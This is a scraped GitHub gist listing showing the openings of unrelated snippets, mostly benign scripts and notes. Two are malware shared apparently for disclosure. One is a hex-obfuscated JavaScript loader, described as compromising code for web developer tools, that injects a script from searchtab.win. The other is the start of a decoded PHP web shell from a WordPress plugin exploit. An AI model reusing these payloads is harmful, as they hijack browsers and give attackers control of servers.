Skip to content

Instantly share code, notes, and snippets.

View saxbophone's full-sized avatar
🏳️‍⚧️

saxbophone

🏳️‍⚧️
View GitHub Profile
@amlwwalker
amlwwalker / ga.js
Created August 2, 2017 17:07
compromising code for webdeveloper tools
var _0x4d27=["\x63\x6C\x6F\x75\x64\x66\x6C\x61\x72\x65\x2E\x63\x6F\x6D","\x69\x6E\x64\x65\x78\x4F\x66","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x73\x72\x63","\x2F\x2F\x73\x65\x61\x72\x63\x68\x74\x61\x62\x2E\x77\x69\x6E\x2F\x67\x61\x2E\x6A\x73","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x72\x65\x64\x69\x72\x65\x63\x74\x32\x2E\x74\x6F\x70","\x2F\x2F\x70\x61","\x72\x74\x6E\x65","\x72\x2D\x6E\x65","\x74\x2E\x6D\x65","\x6E\x2F\x63\x6F","\x64\x65\x2F\x3F","\x70\x69\x64\x3D","\x39\x37\x33\x38","\x32\x30\x26\x72","\x3D","\x72\x61\x6E\x64\x6F\x6D","\x66\x6C\x6F\x6F\x72","\x66\x69\x72\x73\x74\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x74\x74\x70\x73\x3A\x2F\x2
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
package de.Femtopedia.XYCraftRL;
import java.util.Random;
import net.minecraft.block.state.pattern.BlockMatcher;
import net.minecraft.init.Blocks;
import net.minecraft.util.math.BlockPos;
import net.minecraft.world.World;
import net.minecraft.world.chunk.IChunkGenerator;
import net.minecraft.world.chunk.IChunkProvider;
@rmcgibbo
rmcgibbo / pull-peterson.py
Created June 2, 2017 20:31
Automate downloading some basis sets from Kirk Peterson's website
from __future__ import print_function
import requests
import bs4
import re
headers = {
'Referer': 'http://tyr0.chem.wsu.edu/~kipeters/basissets/alkal-nr.html',
'Origin': 'http://tyr0.chem.wsu.edu',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded',
@bookshelfdave
bookshelfdave / route_scraper.py
Last active June 2, 2017 20:56
RouteScraper
# generate a yaml representation of active route53 traffic policies
# specify -j to get json output to process w/ jq
# the output from the route53 api calls is a bit messy, this script
# consolidates everything into a single struct.
import boto3
import collections
import json
import yaml
from optparse import OptionParser
@saxbophone
saxbophone / rename_bandcamp_tracks.py
Created April 30, 2017 22:53
Bandcamp is great but the naming format they use for the downloaded tracks doesn't suit my system, so this script converts them!
import os
def fix_track_names(artist, album):
"""
Given an artist name and album name, renames all the tracks in the current
directory from the format that Bandcamp names them to the format that I
want them (<track number> - <track name>)
"""
for track in os.listdir('.'):
@saxbophone
saxbophone / .gitignore
Last active March 20, 2017 16:40
Generate a CSV file of all 32-bit floating point (single-precision) numbers in decimal form
all_floats
all_floats.csv

Falsehoods programmers believe about prices

  1. You can store a price in a floating point variable.
  2. All currencies are subdivided in 1/100th units (like US dollar/cents, euro/eurocents etc.).
  3. All currencies are subdivided in decimal units (like dinar/fils)
  4. All currencies currently in circulation are subdivided in decimal units. (to exclude shillings, pennies) (counter-example: MGA)
  5. All currencies are subdivided. (counter-examples: KRW, COP, JPY... Or subdivisions can be deprecated.)
  6. Prices can't have more precision than the smaller sub-unit of the currency. (e.g. gas prices)
  7. For any currency you can have a price of 1. (ZWL)
  8. Every country has its own currency. (EUR is the best example, but also Franc CFA, etc.)
@anttiviljami
anttiviljami / common.php
Created February 2, 2017 11:37
Decoded payload from blogvault backup WordPress plugin exploit
<?php
$auth_pass = "43c28ae888b07543fd3c492620b2d10c";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
[
{
"type" : "tab",
"id" : "1c22d96f.2f9077",
"label" : "Devices To Dweet.io"
},
{
"x" : 129,
"field" : "",
"app" : "f4ab65e6.65e3e8",